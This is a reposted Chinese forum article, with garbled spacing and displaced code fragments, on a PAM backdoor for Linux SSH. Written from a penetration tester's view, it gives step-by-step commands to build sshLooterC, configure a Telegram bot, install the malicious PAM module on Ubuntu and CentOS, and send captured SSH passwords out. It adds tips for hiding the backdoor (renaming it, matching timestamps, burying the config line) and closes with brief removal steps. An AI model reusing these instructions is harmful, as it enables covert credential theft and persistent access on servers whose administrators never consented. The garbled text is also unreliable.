搜索

[7656] 2021-02-24_PAM后门小研究

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-17
2021-02-24_PAM后门小研究 P A M 后 门 小 研 究 原 创   F 1 u Y u 4 n   F 1 u Y u 4 n   2 0 2 1 - 0 2 - 2 4 收 录 于 话 题   # 信 息 安 全   , 3 个 0 x 0 0 在 渗 透 某 目 标 的 过 程 中 ， 发 现 目 标 服 务 器 已 被 植 入 后 门 ， 具 体 表 现 是 在 目 录 下 ， 存 在 以 日 期 为 后 缀 的 文 件 ， 内 容 为 记 录   S S H   登 录   I P 、 用 户 名 和 密 码 。 / t m p / . p p a s s . t x t
当 时 想 简 单 做 个 应 急 响 应 ， 无 奈 没 找 到 后 门 文 件 所 在 ， 再 加 上 自 己 是 公 钥 方 式 登 录   S S H ， 不 在 乎 被 记 录 密 码 ， 就 放 在 一 边 。 后 来 自 己 遇 到 了 瓶 颈 ， 想 要 获 取 目 标 的   S S H   密 码 进 行 突 破 ， 就 去 研 究 了 下 记 录   S S H   密 码 的 工 具 ， 也 顺 手 找 到 了 这 个 的 后 门 所 在 ， 就 有 了 本 文 。   有 可 以 从 内 存 中 获 取 登 录 密 码 ， 也 可 以 获 取 剪 贴 板 复 制 内 容 ， 拿 到 管 理 员 复 制 的 密 码 ， 但 是   上 就 没 有 类 似 的 工 具 。 经 过 一 番 搜 寻 ， 找 到 了   的   s s h L o o t e r   和   s s h L o o t e r C ,   其 中   是     版 ，   是   C   语 言 版 ， 版 有 各 种 依 赖 ， 不 在 考 虑 范 围 。 / t m p / . p W i n d o w s M i m i k a t z L i n u x @ m t h b e r n a r d e s s s h L o o t e r P y t h o n s s h L o o t e r C P y t h o n
  执 行 敏 感 程 序 时 会 对 启 动 它 的 用 户 进 行 身 份 认 证 ， 通 过 后 才 会 允 许 执 行 ， 如   等 。 在     中 进 行 身 份 认 证 是 依 赖   P A M   来 进 行 的 ， P A M   全 称   ， 可 动 态 加 载 验 证 模 块 ， 如 使 用 谷 歌 身 份 验 证 器 对   S S H   登 录 进 行 双 因 子 认 证 。 当 然 也 可 加 载 恶 意 模 块 ， 窃 取   S S H   密 码 。 C 语 言 版 大 致 原 理 就 是 编 译 出 一 个 动 态 链 接 库   s o   文 件 ， 并 配 置 到   P A M   配 置 文 件 中 ， 在   S S H   登 录 时 ， 记 录 密 码 发 送 到 电 报 机 器 人 ， 当 然 也 可 以 保 存 到 本 地 或 是 发 送 到 任 意   、 钉 钉 机 器 人 等 . 0 x 0 1   C r e a t e   B o t 通 过     申 请 专 属   b o t ,   并 获 取 到   . 通 过     获 取 到 自 己 账 号 的   . L i n u x s u d o , p a s s w d , s c r e e n L i n u x P l u g g a b l e   A u t h e n t i c a t i o n   M o d u l e s D N S L O G @ b o t A P I   T o k e n @ u s e r i n f o b o t u s e r _ i d
在   中 配 置 好     和   . 0 x 0 2   C o m p i l e U b u n t u l o o t e r . c A P I   T o k e n u s e r _ i d a p t   i n s t a l l   g i t   m a k e   g c c   l i b c u r l 4 - o p e n s s l - d e v   l i b p a m 0 g - d e v g i t   c l o n e   h t t p s : / / g i t h u b . c o m / m t h b e r n a r d e s / s s h L o o t e r C c d   s s h L o o t e r C s e d   - i   ' s / B O T   T O K E N / 自 己 的 A P I   T o k e n / g '   l o o t e r . c s e d   - i   ' s / 1 1 1 1 1 1 1 / 自 己 的 u s e r _ i d / g '   l o o t e r . c m a k e   c p   l o o t e r . s o   / l i b / s e c u r i t y c h m o d   7 5 5   / l i b / s e c u r i t y / l o o t e r . s o e c h o   - e   ' a u t h   o p t i o n a l   l o o t e r . s o n a c c o u n t   o p t i o n a l   l o o t e r . s o ' > > / e t c / p a m . d / c o m m o n - a u t h s y s t e m c t l   r e s t a r t   s s h
C e n t O S 已 在     和     测 试 成 功 ，   编 译 出 的   s o   文 件 同 样 适 用 于   . 0 x 0 3   U s e 安 装 到 目 标 服 务 器 上 后 ， 只 要 管 理 员   S S H   登 录 ， 就 能 实 时 获 取 到 明 文 密 码 。 了 解 了 后 门 原 理 ， 很 容 易 就 找 到 了 前 述 记 录 密 码 到     下 的 后 门 文 件 ， 对   y u m   i n s t a l l   - y   g i t   m a k e   g c c   l i b c u r l - d e v e l   o p e n s s l - d e v e l   p a m - d e v e l g i t   c l o n e   h t t p s : / / g i t h u b . c o m / m t h b e r n a r d e s / s s h L o o t e r C c d   s s h L o o t e r C s e d   - i   ' s / B O T   T O K E N / 自 己 的 A P I   T o k e n / g '   l o o t e r . c s e d   - i   ' s / 1 1 1 1 1 1 1 / 自 己 的 u s e r _ i d / g '   l o o t e r . c m a k e   c p   l o o t e r . s o   / l i b 6 4 / s e c u r i t y c h m o d   7 5 5   / l i b 6 4 / s e c u r i t y / l o o t e r . s o e c h o   - e   ' a u t h   o p t i o n a l   l o o t e r . s o n a c c o u n t   o p t i o n a l   l o o t e r . s o ' > > / e t c / p a m . d / s s h d s e r v i c e   s s h d   r e s t a r t U b u n t u   1 8 . 0 4 . 5 C e n t O S   r e l e a s e   6 . 1 0   ( F i n a l ) C e n t O S 6 C e n t O S 7 / t m p / . p
  按 时 间 排 序 ， 定 位 到 了 疑 似 后 门 文 件   . 再 到     中 查 看 ， 果 然 加 载 了 该   s o   文 件 。   一 下 后 门 就 看 到 了     字 符 串 。 / l i b 6 4 / s e c u r i t y p a m _ l o g i n _ u n i x . s o / e t c / p a m . d / s s h d s t r i n g s / t m p / . p
后 门 文 件 上 传 到   V i r u s T o t a l ,   还 是 免 杀 后 门 。 清 除 后 门 ：
T i p s : 后 门 适 用 场 景 ： S S H   服 务 修 改 了 默 认   2 2   端 口 或 者   S S H   未 开 放 到 互 联 网 ， 因 为 该 后 门 对 密 码 正 确 与 否 不 做 鉴 别 ， 若 在 2 2   端 口 开 放 到 互 联 网 的 服 务 器 使 用 ， 将 面 临 茫 茫 多 的   S S H   密 码 爆 破 ， 机 器 人 将 发 送 各 种 登 录 密 码 。 关 于 后 门 伪 装 ：   可 以 重 命 名 为 任 意 ，   下 可 以 修 改 时 间 戳 与 正 常 文 件 一 致 ， 同 时 在     中 可 以 配 置 到 中 间 行 ， 降 低 后 门 被 发 现 的 机 率 。 r m   - r f   / l i b 6 4 / s e c u r i t y / p a m _ l o g i n _ u n i x . s o s e d   - i   ' / a u t h               o p t i o n a l           p a m _ l o g i n _ u n i x . s o / d '   / e t c / p a m . d / s s h d r m   - r f   / t m p / . p s e r v i c e   s s h d   r e s t a r t l o o t e r . s o / l i b 6 4 / s e c u r i t y / e t c / p a m . d / s s h d
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理